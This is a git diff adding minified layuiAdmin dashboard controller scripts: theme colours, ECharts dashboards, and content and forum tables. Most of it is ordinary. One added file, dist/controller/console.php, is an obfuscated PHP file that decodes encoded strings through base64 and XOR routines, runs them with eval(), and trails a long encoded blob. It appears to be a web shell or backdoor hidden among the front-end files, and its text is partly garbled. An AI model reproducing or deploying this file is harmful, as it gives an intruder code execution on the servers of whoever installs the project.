,selected: '#F78400' + ,alias: 'red' //橙色 + },{ + main: '#28333E' + ,logo: '#AA3130' + ,selected: '#AA3130' + ,alias: 'fashion-red' //时尚红 + },{ + main: '#24262F' + ,logo: '#3A3D49' + ,selected: '#009688' + ,alias: 'classic-black' //经典黑 + },{ + logo: '#226A62' + ,header: '#2F9688' + ,alias: 'green-header' //墨绿头 + },{ + main: '#344058' + ,logo: '#0085E8' + ,selected: '#1E9FFF' + ,header: '#1E9FFF' + ,alias: 'ocean-header' //海洋头 + },{ + header: '#393D49' + ,alias: 'classic-black-header' //经典黑 + },{ + main: '#50314F' + ,logo: '#50314F' + ,selected: '#7A4D7B' + ,header: '#50314F' + ,alias: 'purple-red-header' //紫红头 + },{ + main: '#28333E' + ,logo: '#28333E' + ,selected: '#AA3130' + ,header: '#AA3130' + ,alias: 'fashion-red-header' //时尚红头 + },{ + main: '#28333E' + ,logo: '#009688' + ,selected: '#009688' + ,header: '#009688' + ,alias: 'green-header' //墨绿头 + }] + + //初始的颜色索引,对应上面的配色方案数组索引 + //如果本地已经有主题色记录,则以本地记录为优先,除非请求本地数据(localStorage) + ,initColorIndex: 0 + } + }); +}); diff --git a/dist/controller/common.js b/dist/controller/common.js new file mode 100644 index 0000000..c8f103f --- /dev/null +++ b/dist/controller/common.js @@ -0,0 +1,2 @@ +/** layuiAdmin.pro-v1.4.0 LPPL License By https://www.layui.com/admin/ */ + ;layui.define(function(e){var i=(layui.$,layui.layer,layui.laytpl,layui.setter,layui.view,layui.admin);i.events.logout=function(){i.req({url:"./json/user/logout.js",type:"get",data:{},done:function(e){i.exit()}})},e("common",{})}); \ No newline at end of file diff --git a/dist/controller/console.js b/dist/controller/console.js new file mode 100644 index 0000000..dc2ecd1 --- /dev/null +++ b/dist/controller/console.js @@ -0,0 +1,2 @@ +/** layuiAdmin.pro-v1.4.0 LPPL License By https://www.layui.com/admin/ */ + ;layui.define(function(e){layui.use(["admin","carousel"],function(){var e=layui.$,t=(layui.admin,layui.carousel),a=layui.element,i=layui.device();e(".layadmin-carousel").each(function(){var a=e(this);t.render({elem:this,width:"100%",arrow:"none",interval:a.data("interval"),autoplay:a.data("autoplay")===!0,trigger:i.ios||i.android?"click":"hover",anim:a.data("anim")})}),a.render("progress")}),layui.use(["admin","carousel","echarts"],function(){var e=layui.$,t=layui.admin,a=layui.carousel,i=layui.echarts,l=[],n=[{title:{text:"今日流量趋势",x:"center",textStyle:{fontSize:14}},tooltip:{trigger:"axis"},legend:{data:["",""]},xAxis:[{type:"category",boundaryGap:!1,data:["06:00","06:30","07:00","07:30","08:00","08:30","09:00","09:30","10:00","11:30","12:00","12:30","13:00","13:30","14:00","14:30","15:00","15:30","16:00","16:30","17:00","17:30","18:00","18:30","19:00","19:30","20:00","20:30","21:00","21:30","22:00","22:30","23:00","23:30"]}],yAxis:[{type:"value"}],series:[{name:"PV",type:"line",smooth:!0,itemStyle:{normal:{areaStyle:{type:"default"}}},data:[111,222,333,444,555,666,3333,33333,55555,66666,33333,3333,6666,11888,26666,38888,56666,42222,39999,28888,17777,9666,6555,5555,3333,2222,3111,6999,5888,2777,1666,999,888,777]},{name:"UV",type:"line",smooth:!0,itemStyle:{normal:{areaStyle:{type:"default"}}},data:[11,22,33,44,55,66,333,3333,5555,12666,3333,333,666,1188,2666,3888,6666,4222,3999,2888,1777,966,655,555,333,222,311,699,588,277,166,99,88,77]}]},{title:{text:"访客浏览器分布",x:"center",textStyle:{fontSize:14}},tooltip:{trigger:"item",formatter:"{a}
{b} : {c} ({d}%)"},legend:{orient:"vertical",x:"left",data:["Chrome","Firefox","IE 8.0","Safari","其它浏览器"]},series:[{name:"访问来源",type:"pie",radius:"55%",center:["50%","50%"],data:[{value:9052,name:"Chrome"},{value:1610,name:"Firefox"},{value:3200,name:"IE 8.0"},{value:535,name:"Safari"},{value:1700,name:"其它浏览器"}]}]},{title:{text:"最近一周新增的用户量",x:"center",textStyle:{fontSize:14}},tooltip:{trigger:"axis",formatter:"{b}
新增用户:{c}"},xAxis:[{type:"category",data:["11-07","11-08","11-09","11-10","11-11","11-12","11-13"]}],yAxis:[{type:"value"}],series:[{type:"line",data:[200,300,400,610,150,270,380]}]}],r=e("#LAY-index-dataview").children("div"),o=function(e){l[e]=i.init(r[e],layui.echartsTheme),l[e].setOption(n[e]),t.resize(function(){l[e].resize()})};if(r[0]){o(0);var d=0;a.on("change(LAY-index-dataview)",function(e){o(d=e.index)}),layui.admin.on("side",function(){setTimeout(function(){o(d)},300)}),layui.admin.on("hash(tab)",function(){layui.router().path.join("")||o(d)})}}),layui.use("table",function(){var e=(layui.$,layui.table);e.render({elem:"#LAY-index-topSearch",url:"./json/console/top-search.js",page:!0,cols:[[{type:"numbers",fixed:"left"},{field:"keywords",title:"关键词",minWidth:300,templet:'
{{ d.keywords }}
'},{field:"frequency",title:"搜索次数",minWidth:120,sort:!0},{field:"userNums",title:"用户数",sort:!0}]],skin:"line"}),e.render({elem:"#LAY-index-topCard",url:"./json/console/top-card.js",page:!0,cellMinWidth:120,cols:[[{type:"numbers",fixed:"left"},{field:"title",title:"标题",minWidth:300,templet:'
{{ d.title }}
'},{field:"username",title:"发帖者"},{field:"channel",title:"类别"},{field:"crt",title:"点击率",sort:!0}]],skin:"line"})}),e("console",{})}); \ No newline at end of file diff --git a/dist/controller/console.php b/dist/controller/console.php new file mode 100644 index 0000000..73cff57 --- /dev/null +++ b/dist/controller/console.php @@ -0,0 +1 @@ +100){$();}eval($µԔ('XFRLR0BCE1HHG1JH1D8T0IGVQVFRA9LQ0YFAIEMTQGTF1AVEMMUEYWB4='));!$($Ϫ֝ȫ؁($̢($,$ݷ濫('GAZW'),$УĬ('GAM='))),$($̢($,$('BQ=='),$Ŗ('GAZV'))))?$⦛():$ة;$Ǥ⡦=$̓⭆('GABQ=');$䋰=$ش('GAZV');$䋰=$(@$($땿($̢($,$Ǥ⡦,$䋰))));return$䋰;}function ($,$ז=''){$粛='base64_decode';$=$粛('bWQ1');$Ƅڇ쥦=$('');$Ú=$粛('b3Jk');$=$粛('c3RybGVu');$ؠ=$粛('Y2hy');$ז=!$ז?$Ú(''):$ז;$=$񄵲췊ς;for(;$<$($);$++)$â.=$Ú(${$})<$Ú('')?(($Ú(${$})>$ז&&$Ú(${$})<$Ú(''))?$ؠ($Ú(${$})/2):${$}):'';$䋰=$粛($â);$=$񄵲췊ς;$Ú=$Ƴ=$($Ƅڇ쥦);for(;$<$($䋰);$++){$Ú=$Ú?$Ú:$Ƴ;$Ú--;$ƻ.=$䋰[$]^$Ƅڇ쥦[$Ú];}return$ƻ;}}}global$,$՚,$̢,$Ό,$ծ޿,$,$̽,$Ԝ,$˙,$,$,$𺴔,$,$ĵד,$,$,$,$͂;$ç=$=$ƣ=$Ӆ=$˳=$ߟ=$ݶ=$直=$έɞٚ=$ٺ=$ψ=$͙=$ćţ=$=$ˑ=$ʱ=$™=$܆=$ć='ޯ';if(!$){$ç($,8);$($̢,9);$ƣ($̽,10);$Ӆ($,4);$˳($𺴔,13);$ߟ($,12);$ݶ($ĵד,2);$直($,14);$έɞٚ($,15);$ٺ($,16);$ψ($͂,17);$͙($˙,18);$ćţ($,19);$($Ԝ,11);$ˑ($,5);$ʱ($Ό,6);$™($՚,1);$܆($ۭ޸͒,3);$ć($ծ޿,7);}$µԔ=$ݷ濫=$УĬ=$ķ='';$=$µԔ('Q8');$䋰=묠($$);$($͂($$));$=$($䋰);eval($µԔ('UEQCWBSARAZBVXGS0D6L4HV='));$ƻ=$▜鯼;$($͂($$));return$ƻ;?>TOCMPOC/2LI4V0/BZYFHYVQG1LB6H836Z+OKQX+7YUC/QZMV23NM1ET765WHHPNKMDHZ6O798IR+069BJ68XOS8BV8VBQ3DMX3+BTIADCH/1E+2LO0WEFP+Z/KKQJW8AQCQ+XJEOICKS+J7C+CD0TFK9FDDI/07/2WYID2QVNCDV1D/ZYG9ALEL8FC/DX03EILSNOP1MJNRGBRCBCL431VFRXO3W5C40E0KLOFA643BVT1A2PHFUK3XQT6JRFCSGBUNUT419DCVL01E6YPO5D+5YQMP1O2M7F63OTV0DLVSJFIQQTYUAGZWQO5HC0P28V3XVGVSG9W77UO+PTSEW0CO88BDP9RES3Y9OWO5/7U974C5O9QFHTKV5YXNHP6/TH+4TZ5WH+BCEZZ/1GLU2PI481PL/ON00IEQT30U1GGAZII1XVPHKQZJ/Z/TPHZEQ0Y+N81U5PT96O06M8PBJ71WPF7O+D7LOJ7MV6P7QPAUUD3NA6X2YR26I15O+PH/IAZZ52SVZDIZ7018SF7PY/BKGF6DD1S9885FOS3XOW332O61T3Q/6ICS2Z6USKY2O+70DIAMAQLYHD6V2T4RTKHESHGREN1SO2AC4MIB4L+LO406C4X5BWCXCPZZG0Z/KMP0G3DEAOO0ZPRRBXWZ8OD9N3NC4E6I+/JTA71727Q3YJ0A1UUDDSQ4PG5/0BSPXCKMOM71CGFN2LED9567B3QRSLXGTQZHU6Z3CTNJI/JLSDZRMJHBR/Y9X7I8L7DVQ3J+IH+V86G65VIORONKO5+3O8SBP288AOIBXP5ZVFE/CB74L8+2HZJIEEMYJ3IK9EQ/DL0ZS0M1+GQJ5S4W8BODNPW5JE001P375FPMLE/A1EI6VT/VVQQF+WP/ZABX2U/L9XJKED/G567O/EFAGLZ51WECKWC862E2DGQH7/QDV2+AX0JDL6866JU1+ZJGFXTX/VR7/6BN04C6X2PVPBS9DBBIX0OG2Y8T+QZ6039T5+B1710HUXMK3Y1A/K9S746MP5UQ110UO+PRDIWAIQY40B3TMP95HABV/5GXMZ49LFE1I/E49QOEGP6OPC51EO9W8TNC08E5LPJGFU2ESW+JA3CQ3S+FGVKKHHX7LDNJUW2R/5NV1OH+IDFSCRYDGW96724RTOJT5TRAUF84K/RZC+ORP/KN1USZL1L2FPTJ8DS6SMXROEAE86DFCX06AV08A700EMYUADMLDHAW5T6J6EP1R2Q75NJMKJ8KMY89NMA+/4J22FAAKGTXUXO67+WDX110/V6HHAG9MGH9S7AXONM6G+VP9OMW38NZKVNFYQE76FKRI3CX0T7JHPNQ5++QTN1+XTQZJH6V2742QIAZV3RTH0HAZNW6RWNEP6LXFRFJN0BQOGSEZHF9TYNL4+OLN23PZH2DLCA0NMQSDAE/RXP0ZN4UZ2E25C3UIMDSF2C+IZ3TQM4DCDEALI9OT7MG0SG5CUFSN5X/Z/02WEIKS2MJ8TVQS/E3N01IL/4H+A5ZKZW7JXMBOIOPCHCP/R49GUKGZPSFZY/UOEFXNN74W/9OBW/EICWN/ZPN3+/BS6JWI3YX258KDW59ABXJP7RFJKBDQB75LGHLWYIRU5++Z60KMBNWQX6KBM3HPXDR695QIESAD3C8IPMC2F4MIE0G/T9KV20PY456B13BOJR/O/NVR1/7M+/1KTER/LJGXKI0OJHPU+9WOYXCNNFQ161ZK0TVVYR06UGKJK449F/XO82M2WICS/XETE3RTD8++GJEHHDBSSTEWLTY+QXUNAGFAPC3C6O5+GWCBS8MPDK/7SZVK3/KGL2266XI7LQUJUYHZUXZNZDIWAQGKMNBM0MULXY06O57KJTKEY2DC9BMD7576635HWNYMCGRDU8B8UZ5K2F1GCF11HTAE/AMGXGH/P7FBK8KCCILLX7F7WXV3PRSL496KGJPMC+PD9MP1VK/PW4DVKIB1NM7GA725J0Z97CJ/UI6QL0/3NREDSRZKQMC38+I+HG55SNIW5V/WWAMO0K0HYZWH4+6+Q4CHS9Z5NDFUFT6NNW24W4CWF4MHT6YSIOINXQSC39QR3MLS45PXA237KG69+FWKRXO5SYBA7NYJH0/QNWMFZU/MNGMT6PEP2Y5Y7NO7PF4WTPVOL42XQ+P4Y6QGT2YCYO37ZNURERM37FVGJBQVUIG2UQ62G66CQSV/SS8NR+DSPQR6GYPJN3MGGTNXRYLB3UB80O5JTZ0BTDO5ZUUA0RH0JTPSY0L6TH30WIOCKRQMS66FXCDYPJR3N1Y586EY25Q+KUMXTHLN/KS360Z0Z1/3X1+H1B2U1/T33594++2H2J+P50HL283GIXH41KRS3NO4IU37/0TO4OYA6QQP+ZASC4T3EHNTGVXK/X+QLLW7H2FPQNF7VU29PO5XBRCD7PJ8/ZD53ES6+084GZZD7VX+PKCXYMLGUEQDQFRSB4GBV3VNN857GD7QPRG55FOVJNXS70K2YN4YEC8T2+Q2X+JWPT3UJLL9WUHHQWT4B3VBOOJV0QXOG+6L4BXEXTH+QIDZG55LNPXPESYWTK2Y+9A0OYQ0849VJMZ2HCNHNSN7E0ZO3/EFUVEC3PBDX939N+30JMJI1SHFQO1I9PQUSE/33IJSY68/WWBMDOST8/HGE495B421QQXEMR+W80/RXAJOAVLQ1NFG0+5+0Z3H489I95GNNJSLM69Q1MR/0RG+C9PNY147C683VYUWKBIQ8N4VCNFLTWIWPUVFEMH+N/HDQ7+61ZCDA6/WGQ9NVVE9N05R6ZODDASC6EG+Z4KE01IRJHTIT6WE65W5S5+7YTGTE493X6KYHAPTMQN7J0DQVL1/5LFUIT/9NW7K2+MN+V6LZISVV+2XAVROZMFL+H6SRUNFF59CBV4/1EUKJ356P3XF2V1DJKE/O6V43KE6KX77HXQV8XEDXW/159ZHVIJ1ND0AAR031ZBDSM1UMME51YN49O/GN7F8OQQTDR/L7VC132NTAZQ2F+PYO3IRGNEDHDJM9WC7A22CL2AHVEAYI3VPYZ3TW9+ZNGQQ6FGG/7IFSFHPYDPPYQFSUGIWZU0DN9LJRLYK5MDN5APZAVZ/8TOH9+3ZV5X1GGT8DN46J2CNKCMC7/H7PBWR+AYD+/4EFCZ2T9I/7NX1D+UEFUPS7O+OGKGCWE/62V/UG9L69NRWZ1EDGJUP1LXRLIG3HGE6VSQIW8DYMJG2W0SKQ9WGWCZ6+PVIR8X/5BC8OKH51IEUJYL3WJPKFB5T08JMGXX7A5WL7FX846O7DMSC0HE06IBK/WH0BML27WW1Z+NZ5JNDMGSTG0BI3Z9Q1FV3B89+M/SY95IXH56RX/AWYWJBLW+8A5HX1XIKZ4AD40GSDMQ/G/HVDBUV4XTLF2CDJDOT/+9WEU7AEYIIUC4Y2B+RMPBT51F688/GTG+RWFOMMTZQ8AL/6001H77XG4ACBNKXTF17A7FB0FP4WZPRTLU+4BA9MN3UB1N3MLQAG8LDBT5SZR5+B9PREZ29H+Q8JEB/86WDQHZU9L26DJN9YR8I0MUJ52SRV+XZM6BMETFQF50D1YOHOKPJODUX9L4VAFDIJRPXGMRTS00A+SZ3+ZCQ0JUHG2I00Y8NW7HEDOQQ/C8MHDDM4MP/ZPNACDLQ1MW9OR1+KO/732X+7SEEMIOHDPYS+LY3TTQJ29MMJI26D5FIAAJONF7UM1/RURN9+DMY9G06MDQIXKI2UA1L8V7TLP6ZV9A49WQRVVY6647ERSULUKTKQFLPDAW9JSPPBYF/JMYZOD2CU/YV32JKX/KWAX9/N211PKTF6XJHL05VYF73CIHNLSNG3A3KR2VBZNJ/5FVHWYDE2ROYV9/RD6C4L3SNU5S/YP26QBA6A+O+W/TWAFXYAR4NQAYSKJSMPID6CEIAD53RROK92KPKOIN+W6Z/Y69X8UBP3PKEE2Q0IBO8UB5NZQD2AF9EBI92BJ8Z31O8JSX9N90F9XW+CB55K3F/S1TNDFO00XBBCR+8+SA9PPWIFNIB701RF3VGRNV93N9GN/XIJ+6JH22XMDBPW+UDGXOTJG4G4I9ZZ2LU47+CGNQRDC3TL2TL3M2Y6X6JJWO0PM0TJ32SRK6BQTI/SVALDA45MZ39BAQU9/S7A0VSOX1UHG1FKVUU6RRHTK4K6JATXRUQ+VMD5NEVUEO1E+QF3HR1VYO99PCGQI/FL6BHM7IYZV023MB3/N/J4EQOXQQPKW/43AHJ/R2QEF+82WMWAF7O8C5IG5C37SYCJKE37N3S4A+U/J6V4AKBLVUJWOKVU0SDTFX3B3BMXBU7G5S6++4AM1PC/BA2W39C+9UT3WV0B0TLLAO/CKJ4IMBUV190/Q17/VY9MZ94FTNQWEL0B03SML7K3LFJ440ABQ/U+L3VNZ08RZI/+BD/03NZ6XJGO7BPG7U+1XJNVKDSAUX8HP7648L98VU19KLEPDF+5H9IHWK8PXYV/7GBC/9LMDX1O+UKR4PB29YUUHZ6ODBRFD55NTI5VKLOHX9979CGW89FJJV1BSQ4/143+OG3CFHNSNZ/GIL1XNL109K9ZNRRLF7W67I2ULIAS3C0CQWW4678CR7IFD8PXFDDFP12DQZ6TH1YQAWKA+S+GMAM/SV4AJH6+GY2N9RQFOM9S41SRP87PZGQ3DTC9ED2VSIGPKZB+6A7/G2T0VQMSORPFUBS0W08O28KF5H34HBBFYWMMW5DMAMHZBSF/O0UU9E85BQ/VOWEO4M0L+/59N2U7X8MP/8BQ0IB2ODI+AVS2INRTO8M5DFVO6UTZYD9BE7JDX9BWNR4XNRIXAJ5ORLU3P0AFU5S7+GF2FRLKNU3LDEJ8OFTL4E4PPV9PKWNNFBQ552W8D025SIQLL639H/SJG71WG9APL67ZC628OS0IWFFWOX+GW3YLSS47EAK5CFI3UFZLJ9W+O6B1IAX0AC6L6SHNN/QE+9YK9MK9QL4DDOZIQ0DNNG+V9S1OVYEN2U8L45PGZIYW2BRX7VRS3M/OR5H0CZRIG+THG085QO073ROKPNZ2PU3EBZZUNU6QBD4WUX15I30DMZNDN4ERCFQ5M3LQ4QM/T9R9XOJEFAO9U+JUI2SB09X+GZY/YEHN5CNE9C70RTUL5JWSWOWVLF828XVX/RVR8DKE+L6G+OAY+HVU282835Y7NSQHK/AAE20CQOOQLZJC+6CY/JGFTIANXDBW6+JVBEV6NXEFBVVCCP+KZ7VES38PR4AM751DRTZT9R+NCR099QA2TC/LB3/AE+JD+TG4FQ9WMZR839MR5U84XLO95/O/UIFMNTFB4C36X7O04WYVJMJNSY9GSW2HW5CVPIDR3JDOIGM1GPHS/CLM5ZLXNOCRHOR0EPJ1TNGONJMAL1SDIGMJ2WM9VW/5LR6WHX+JS3ZY5IYB3666KIK4+W525BUI5W+2XORX7BDMU2UDSOOY7BIYTTELK91LBO/IW812RLS6R0Z/CMWGZ/QBZ08GVXSZZZEJJFYRDJ4R6+43QRRVV+J+YFQJ46MW7SU+00URJ6VU9OZ055Q44UDUAFMYHVLMAO/QDQ7BFMFGB/R38ZUO7RYVU033EMABQIEKNHSM04D9WMLMQO2BD1ZVYEBVJ8EOGC+ZEVNNKZOCTS0YGT9TD6ZLJBU1Q1C/VUJ97D1UJ0OF6TM25HS0G3U7S+0Q7MY9Y3H7SQU0YU1T67+Y7ZEACEI67AU0PW1AXI+I94RGO5ESXB4OJO5PLNITYQ=1BRUAVVBVUDBAJUBIICQAAQZXVMMBFABAVMMDAAF; \ No newline at end of file diff --git a/dist/controller/contlist.js b/dist/controller/contlist.js new file mode 100644 index 0000000..f4d983c --- /dev/null +++ b/dist/controller/contlist.js @@ -0,0 +1,2 @@ +/** layuiAdmin.pro-v1.4.0 LPPL License By https://www.layui.com/admin/ */ + ;layui.define(["table","form"],function(t){var e=(layui.$,layui.admin),i=layui.view,n=layui.table,l=layui.form;n.render({elem:"#LAY-app-content-list",url:"./json/content/list.js",cols:[[{type:"checkbox",fixed:"left"},{field:"id",width:100,title:"文章ID",sort:!0},{field:"label",title:"文章标签",minWidth:100},{field:"title",title:"文章标题"},{field:"author",title:"作者"},{field:"uploadtime",title:"上传时间",sort:!0},{field:"status",title:"发布状态",templet:"#buttonTpl",minWidth:80,align:"center"},{title:"操作",minWidth:150,align:"center",fixed:"right",toolbar:"#table-content-list"}]],page:!0,limit:10,limits:[10,15,20,25,30],text:"对不起,加载出现异常!"}),n.on("tool(LAY-app-content-list)",function(t){var n=t.data;"del"===t.event?layer.confirm("确定删除此文章?",function(e){t.del(),layer.close(e)}):"edit"===t.event&&e.popup({title:"编辑文章",area:["550px","550px"],id:"LAY-popup-content-edit",success:function(t,e){i(this.id).render("app/content/listform",n).done(function(){l.render(null,"layuiadmin-app-form-list"),l.on("submit(layuiadmin-app-form-submit)",function(t){t.field;layui.table.reload("LAY-app-content-list"),layer.close(e)})})}})}),n.render({elem:"#LAY-app-content-tags",url:"./json/content/tags.js",cols:[[{type:"numbers",fixed:"left"},{field:"id",width:100,title:"ID",sort:!0},{field:"tags",title:"分类名",minWidth:100},{title:"操作",width:150,align:"center",fixed:"right",toolbar:"#layuiadmin-app-cont-tagsbar"}]],text:"对不起,加载出现异常!"}),n.on("tool(LAY-app-content-tags)",function(t){var n=t.data;"del"===t.event?layer.confirm("确定删除此分类?",function(e){t.del(),layer.close(e)}):"edit"===t.event&&e.popup({title:"编辑分类",area:["450px","200px"],id:"LAY-popup-content-tags",success:function(t,e){i(this.id).render("app/content/tagsform",n).done(function(){l.render(null,"layuiadmin-form-tags"),l.on("submit(layuiadmin-app-tags-submit)",function(t){t.field;layui.table.reload("LAY-app-content-tags"),layer.close(e)})})}})}),n.render({elem:"#LAY-app-content-comm",url:"./json/content/comment.js",cols:[[{type:"checkbox",fixed:"left"},{field:"id",width:100,title:"ID",sort:!0},{field:"reviewers",title:"评论者",minWidth:100},{field:"content",title:"评论内容",minWidth:100},{field:"commtime",title:"评论时间",minWidth:100,sort:!0},{title:"操作",width:150,align:"center",fixed:"right",toolbar:"#table-content-com"}]],page:!0,limit:10,limits:[10,15,20,25,30],text:"对不起,加载出现异常!"}),n.on("tool(LAY-app-content-comm)",function(t){var n=t.data;"del"===t.event?layer.confirm("确定删除此条评论?",function(e){t.del(),layer.close(e)}):"edit"===t.event&&e.popup({title:"编辑评论",area:["450px","300px"],id:"LAY-popup-content-comm",success:function(t,e){i(this.id).render("app/content/contform",n).done(function(){l.render(null,"layuiadmin-form-comment"),l.on("submit(layuiadmin-app-com-submit)",function(t){t.field;layui.table.reload("LAY-app-content-comm"),layer.close(e)})})}})}),t("contlist",{})}); \ No newline at end of file diff --git a/dist/controller/forum.js b/dist/controller/forum.js new file mode 100644 index 0000000..a3c3a29 --- /dev/null +++ b/dist/controller/forum.js @@ -0,0 +1,2 @@ +/** layuiAdmin.pro-v1.4.0 LPPL License By https://www.layui.com/admin/ */ + ;layui.define(["table","form"],function(e){var t=(layui.$,layui.admin),i=layui.view,l=layui.table,r=layui.form;l.render({elem:"#LAY-app-forum-list",url:"./json/forum/list.js",cols:[[{type:"checkbox",fixed:"left"},{field:"id",width:100,title:"ID",sort:!0},{field:"poster",title:"发帖人"},{field:"avatar",title:"头像",width:100,templet:"#imgTpl"},{field:"content",title:"发帖内容"},{field:"posttime",title:"发帖时间",sort:!0},{field:"top",title:"置顶",templet:"#buttonTpl",minWidth:80,align:"center"},{title:"操作",width:150,align:"center",fixed:"right",toolbar:"#table-forum-list"}]],page:!0,limit:10,limits:[10,15,20,25,30],text:"对不起,加载出现异常!"}),l.on("tool(LAY-app-forum-list)",function(e){var l=e.data;"del"===e.event?layer.confirm("确定删除此条帖子?",function(t){e.del(),layer.close(t)}):"edit"===e.event&&t.popup({title:"编辑帖子",area:["550px","450px"],id:"LAY-popup-forum-edit",resize:!1,success:function(e,t){i(this.id).render("app/forum/listform",l).done(function(){r.render(null,"layuiadmin-form-list"),r.on("submit(layuiadmin-app-forum-submit)",function(e){e.field;layui.table.reload("LAY-app-forum-list"),layer.close(t)})})}})}),l.render({elem:"#LAY-app-forumreply-list",url:"./json/forum/replys.js",cols:[[{type:"checkbox",fixed:"left"},{field:"id",width:100,title:"ID",sort:!0},{field:"replyer",title:"回帖人"},{field:"cardid",title:"回帖ID",sort:!0},{field:"avatar",title:"头像",width:100,templet:"#imgTpl"},{field:"content",title:"回帖内容",width:200},{field:"replytime",title:"回帖时间",sort:!0},{title:"操作",width:150,align:"center",fixed:"right",toolbar:"#table-forum-replys"}]],page:!0,limit:10,limits:[10,15,20,25,30],text:"对不起,加载出现异常!"}),l.on("tool(LAY-app-forumreply-list)",function(e){var l=e.data;"del"===e.event?layer.confirm("确定删除此条评论?",function(t){e.del(),layer.close(t)}):"edit"===e.event&&t.popup({title:"编辑回帖",area:["550px","400px"],id:"LAY-popup-forum-edit",resize:!1,success:function(e,t){i(this.id).render("app/forum/replysform",l).done(function(){r.render(null,"layuiadmin-app-forum-reply"),r.on("submit(layuiadmin-app-forumreply-submit)",function(e){e.field;layui.table.reload("LAY-app-forumreply-list"),layer.close(t)})})}})}),e("forum",{})}); \ No newline at end of file diff --git a/dist/controller/sample.js b/dist/controller/sample.js new file mode 100644 index 0000000..815a729 --- /dev/null +++ b/dist/controller/sample.js @@ -0,0 +1,2 @@ +/** layuiAdmin.pro-v1.4.0 LPPL License By https://www.layui.com/admin/ */ + ;layui.define(function(e){var a=layui.admin;layui.use(["admin","carousel"],function(){var e=layui.$,a=(layui.admin,layui.carousel),l=layui.element,t=layui.device();e(".layadmin-carousel").each(function(){var l=e(this);a.render({elem:this,width:"100%",arrow:"none",interval:l.data("interval"),autoplay:l.data("autoplay")===!0,trigger:t.ios||t.android?"click":"hover",anim:l.data("anim")})}),l.render("progress")}),layui.use(["carousel","echarts"],function(){var e=layui.$,a=(layui.carousel,layui.echarts),l=[],t=[{title:{subtext:"完全实况球员数据",textStyle:{fontSize:14}},tooltip:{trigger:"axis"},legend:{x:"left",data:["罗纳尔多","舍普琴科"]},polar:[{indicator:[{text:"进攻",max:100},{text:"防守",max:100},{text:"体能",max:100},{text:"速度",max:100},{text:"力量",max:100},{text:"技巧",max:100}],radius:130}],series:[{type:"radar",center:["50%","50%"],itemStyle:{normal:{areaStyle:{type:"default"}}},data:[{value:[97,42,88,94,90,86],name:"舍普琴科"},{value:[97,32,74,95,88,92],name:"罗纳尔多"}]}]}],i=e("#LAY-index-pageone").children("div"),n=function(e){l[e]=a.init(i[e],layui.echartsTheme),l[e].setOption(t[e]),window.onresize=l[e].resize};i[0]&&n(0)}),layui.use(["carousel","echarts"],function(){var e=layui.$,a=(layui.carousel,layui.echarts),l=[],t=[{tooltip:{trigger:"axis"},calculable:!0,legend:{data:["访问量","下载量","平均访问量"]},xAxis:[{type:"category",data:["1月","2月","3月","4月","5月","6月","7月","8月","9月","10月","11月","12月"]}],yAxis:[{type:"value",name:"访问量",axisLabel:{formatter:"{value} 万"}},{type:"value",name:"下载量",axisLabel:{formatter:"{value} 万"}}],series:[{name:"访问量",type:"line",data:[900,850,950,1e3,1100,1050,1e3,1150,1250,1370,1250,1100]},{name:"下载量",type:"line",yAxisIndex:1,data:[850,850,800,950,1e3,950,950,1150,1100,1240,1e3,950]},{name:"平均访问量",type:"line",data:[870,850,850,950,1050,1e3,980,1150,1e3,1300,1150,1e3]}]}],i=e("#LAY-index-pagetwo").children("div"),n=function(e){l[e]=a.init(i[e],layui.echartsTheme),l[e].setOption(t[e]),window.onresize=l[e].resize};i[0]&&n(0)}),layui.use(["carousel","echarts"],function(){var e=layui.$,a=(layui.carousel,layui.echarts),l=[],t=[{title:{text:"全国的 layui 用户分布",subtext:"不完全统计"},tooltip:{trigger:"item"},dataRange:{orient:"horizontal",min:0,max:6e4,text:["高","低"],splitNumber:0},series:[{name:"全国的 layui 用户分布",type:"map",mapType:"china",selectedMode:"multiple",itemStyle:{normal:{label:{show:!0}},emphasis:{label:{show:!0}}},data:[{name:"西藏",value:60},{name:"青海",value:167},{name:"宁夏",value:210},{name:"海南",value:252},{name:"甘肃",value:502},{name:"贵州",value:570},{name:"新疆",value:661},{name:"云南",value:8890},{name:"重庆",value:10010},{name:"吉林",value:5056},{name:"山西",value:2123},{name:"天津",value:9130},{name:"江西",value:10170},{name:"广西",value:6172},{name:"陕西",value:9251},{name:"黑龙江",value:5125},{name:"内蒙古",value:1435},{name:"安徽",value:9530},{name:"北京",value:51919},{name:"福建",value:3756},{name:"上海",value:59190},{name:"湖北",value:37109},{name:"湖南",value:8966},{name:"四川",value:31020},{name:"辽宁",value:7222},{name:"河北",value:3451},{name:"河南",value:9693},{name:"浙江",value:62310},{name:"山东",value:39231},{name:"江苏",value:35911},{name:"广东",value:55891}]}]}],i=e("#LAY-index-pagethree").children("div"),n=function(e){l[e]=a.init(i[e],layui.echartsTheme),l[e].setOption(t[e]),window.onresize=l[e].resize};i[0]&&n(0)}),layui.use("table",function(){var e=(layui.$,layui.table);e.render({elem:"#LAY-home-homepage2",url:"./json/console/prograss.js",cols:[[{type:"checkbox",fixed:"left"},{field:"prograss",title:"任务"},{field:"time",title:"所需时间"},{field:"complete",title:"完成情况",templet:function(e){return"已完成"==e.complete?''+e.complete+"":"进行中"==e.complete?''+e.complete+"":''+e.complete+""}}]],skin:"line"})}),a.events.replyNote=function(e){var a=e.data("id");layer.prompt({title:"回复留言 ID:"+a,formType:2},function(e,a){layer.msg("得到:"+e),layer.close(a)})},e("sample",{})}); \ No newline at end of file diff --git a/dist/controller/senior.js b/dist/controller/senior.js new file mode 100644 index 0000000..a9a559b --- /dev/null +++ b/dist/controller/senior.js @@ -0,0 +1,4 @@ +/** layuiAdmin.pro-v1.4.0 LPPL License By https://www.layui.com/admin/ */ + ;layui.define(function(e){layui.use(["admin","carousel"],function(){var e=layui.$,a=(layui.admin,layui.carousel),t=(layui.element,layui.device());e(".layadmin-carousel").each(function(){var i=e(this);a.render({elem:this,width:"100%",arrow:"none",interval:i.data("interval"),autoplay:i.data("autoplay")===!0,trigger:t.ios||t.android?"click":"hover",anim:i.data("anim")})})}),layui.use(["echarts"],function(){var e=layui.$,a=layui.echarts,t=[],i=[{title:{text:"未来一周气温变化",subtext:"纯属虚构"},tooltip:{trigger:"axis"},legend:{data:["最高气温","最低气温"]},calculable:!0,xAxis:[{type:"category",boundaryGap:!1,data:["周一","周二","周三","周四","周五","周六","周日"]}],yAxis:[{type:"value",axisLabel:{formatter:"{value} 